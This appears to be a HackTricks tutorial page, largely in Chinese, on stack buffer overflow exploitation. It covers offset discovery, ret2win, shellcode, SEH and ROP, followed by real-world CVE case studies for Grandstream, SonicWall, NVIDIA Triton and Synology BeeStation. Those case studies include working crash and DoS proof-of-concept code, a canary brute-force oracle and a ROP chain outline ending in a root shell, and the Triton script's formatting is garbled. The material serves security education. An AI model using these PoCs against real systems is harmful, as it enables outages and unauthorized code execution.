Stack Overflow
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 Stack Overflow
A stack overflow 是一种漏洞,当程序向 stack 写入超过为其分配容量的数据时就会发生。多余的数据会覆盖相邻的内存空间,导致有效数据损坏、控制流中断,并可能执行恶意代码。该问题通常由使用不做边界检查的 unsafe functions 引起。
这种覆盖的主要问题在于用于返回上一个函数的 保存的指令指针 (EIP/RIP) 和 保存的基指针 (EBP/RBP) 是存储在 stack 上的。因此,攻击者可以覆盖它们并控制程序的执行流。
该漏洞通常发生在函数在 stack 内复制的字节数超过为其分配的大小时,从而能够覆盖 stack 的其他部分。
一些常见的易受影响的函数包括: strcpy, strcat, sprintf, gets… 另外,像 fgets, read & memcpy 这样接受长度参数的函数,如果指定的长度大于分配的长度,也可能被以不安全的方式使用。
例如,下面的函数可能存在漏洞:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
寻找 Stack Overflows 偏移量
最常见的寻找 stack overflows 的方法是给出很长的 A 输入(例如 python3 -c 'print("A"*1000)'),并期待出现 Segmentation Fault,这表明尝试访问了地址 0x41414141。
此外,一旦确认存在 Stack Overflow vulnerability,就需要找到可以overwrite the return address的偏移量。为此通常使用 De Bruijn sequence。对于给定字母表大小 k 和子序列长度 n,它是一种循环序列,其中每一个长度为 n 的可能子序列都恰好以连续子序列的形式出现一次。
这样,您就不必手工推算哪个偏移可以控制 EIP,而是可以用这些序列中的一个作为 padding,然后找出最终覆盖它的 bytes 的偏移。
可以使用 pwntools 来实现:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
或 GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
利用 Stack Overflows
在发生 overflow(假设溢出大小足够大)时,你将能够overwrite栈内局部变量的值,直到覆盖保存的EBP/RBP and EIP/RIP (or even more)。
滥用此类漏洞最常见的方式是modifying the return address,这样当函数结束时,control flow 会被重定向到该指针指定的位置。
然而,在其它场景中,可能只需overwrite 栈中某些变量的值就足以进行 exploitation(比如简单的 CTF 挑战)。
Ret2win
在这类 CTF 挑战中,binary 内有一个从未被调用的 function,你需要调用它才能获胜。对于这些挑战,你只需找到 overwrite return address 的 offset,并找到要调用的 function 的 address(通常 ASLR 会被禁用),这样当 vulnerable function 返回时,hidden function 就会被调用:
Stack Shellcode
在这种情形下,攻击者可以将 shellcode 放在 stack 中,并利用被控制的 EIP/RIP 跳转到该 shellcode 来执行任意代码:
Windows SEH-based exploitation (nSEH/SEH)
在 32-bit Windows 上,overflow 可能会覆盖 Structured Exception Handler (SEH) 链,而不是保存的 return address。利用通常会将 SEH 指针替换为一个 POP POP RET gadget,并使用 4 字节的 nSEH 字段放置一个 short jump,以 pivot 回到存放 shellcode 的大缓冲区。常见的模式是在 nSEH 放一个 short jmp,落在紧邻 nSEH 之前放置的 5 字节 near jmp 上,从而向后跳回数百字节到 payload 起始位置。
ROP & Ret2… techniques
该 technique 是绕过上面提到的主要防护:No executable stack (NX) 的基础框架。它还允许执行多种其他技术(ret2lib、ret2syscall…),通过滥用 binary 中已存在的指令最终执行任意命令:
Heap Overflows
overflow 不一定发生在 stack,例如也可能发生在 heap:
Types of protections
有多种 protections 用于尽量阻止漏洞被利用,详情见:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) 在 TCP/80 上暴露/cgi-bin/api.values.get,且 no authentication。POST 参数request以冒号分隔;每个字符被复制到char small_buffer[64],并在:或结尾处用 NUL 终止,没有任何长度检查,使得单个过长的 token 可以 smash 保存的寄存器/return address。- PoC overflow(会崩溃并在寄存器中显示攻击者数据):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement:每个冒号会重新开始解析并追加一个尾随 NUL。通过使用多个过长的 identifier,每个 token 的 termin止符可以与受损帧中的不同偏移对齐,从而使攻击者能够放置 多个
0x00字节,即便每次 overflow 通常只会添加一个。这一点很关键,因为 non-PIE binary 被映射在0x00008000,因此 ROP gadget 地址中包含 NUL 字节。 - 示例冒号 payload 用于在选定偏移放置五个 NUL(长度根据栈布局调整):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksec显示 NX enabled、no canary、no PIE。利用通过从固定地址构建 ROP chain(例如调用system()然后exit()),在用分隔符技巧放置所需的 NUL 字节后摆放参数。
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
2025 年在 SonicWall 的 SMA100 SSL-VPN 设备上出现的一个漏洞很好地说明了为什么 sscanf 不应被信任来解析 untrusted input。/usr/src/EasyAccess/bin/httpd 内的易受攻击例程试图从以 /__api__/ 开头的 URI 中提取 version 和 endpoint:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- 第一个转换 (
%2s) 将 两个 字节安全地存储到version(例如"v1")。 - 第二个转换 (
%s) 没有长度说明符,因此sscanf会继续复制 直到第一个 NUL byte。 - 因为
endpoint位于 stack 并且是 0x800 bytes long,提供一个长度超过 0x800 bytes 的路径会破坏缓冲区之后的所有内容 ‑ 包括 stack canary 和 saved return address。
单行 proof-of-concept 足以在 认证之前 触发崩溃:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Even though stack canaries abort the process, an attacker still gains a Denial-of-Service primitive (and, with additional information leaks, possibly code-execution).
真实世界示例: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA 的 Triton Inference Server (≤ v25.06) 包含多个可通过其 HTTP API 触及的 stack-based overflows。
The vulnerable pattern repeatedly appeared in http_server.cc and sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) 返回组成当前 HTTP 请求体的内部缓冲段数量。- 每个段会导致通过
alloca()在stack上分配一个16-byteevbuffer_iovec—— 没有任何上限。 - 通过滥用 HTTP chunked transfer-encoding,客户端可以将请求强制拆分为数十万个 6-byte chunks(
"1\r\nA\r\n")。这会使n无限增长,直到 stack 耗尽。
概念验证 (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
一个约 3 MB 的请求足以覆盖保存的返回地址并在默认构建上使守护进程**crash**。
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv’s Pwn2Own 2025 chain 利用在端口 5000 上 `SYNO.BEE.AdminCenter.Auth` 的 pre-auth overflow。`AuthManagerImpl::ParseAuthInfo` 将攻击者输入 Base64 解码到一个 4096 字节的栈缓冲区,但错误地将 `decoded_len = auth_info->len`。由于 CGI worker 每个请求都会 fork,每个子进程继承父进程的栈 canary,因此一个稳定的 overflow primitive 就足以同时破坏栈并 leak 所需的所有秘密。
#### Base64-decoded JSON as a structured overflow
解码后的 blob 必须是有效的 JSON 并包含 `"state"` 和 `"code"` 键;否则,解析器会在 overflow 变得有用之前抛出。Synacktiv 的解决方法是 Base64 编码一个 payload,使其解码后为 JSON、然后一个 NUL 字节、然后是 overflow stream。`strlen(decoded)` 在 NUL 处停止,所以解析成功,但 `SLIBCBase64Decode` 已经在 JSON 对象之后覆盖了栈,覆盖了 canary、保存的 RBP 和返回地址。
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi 在每次 HTTP 请求时都会 fork,因此所有子进程共享相同的 canary、stack layout 和 PIE slide。该 exploit 将 HTTP status code 作为 oracle:200 响应表示猜测的字节未破坏栈,而 502(或连接中断)表示进程崩溃。Brute-forcing 每个字节(按顺序)可以恢复 8 字节的 canary、一个保存的 stack pointer,以及位于 libsynobeeadmincenter.so 内的返回地址:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr 只是调用 bf_next_byte 八次,同时附加已确认的前缀。Synacktiv 将这些 oracles 并行化,使用约 ~16 worker threads,从而将总 leak time (canary + stack ptr + lib base) 缩短到不到三分钟。
从 leaks 到 ROP & execution
一旦 library base 已知,常见 gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) 可以构建一个 arb_write 原语,在 leaked stack address 上布置 /bin/bash、-c 和攻击者命令。最后,链设置 SLIBCExecl(a BeeStation wrapper around execl(2))的调用约定,直接获得 root shell,而不需要单独的 info-leak 漏洞。
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


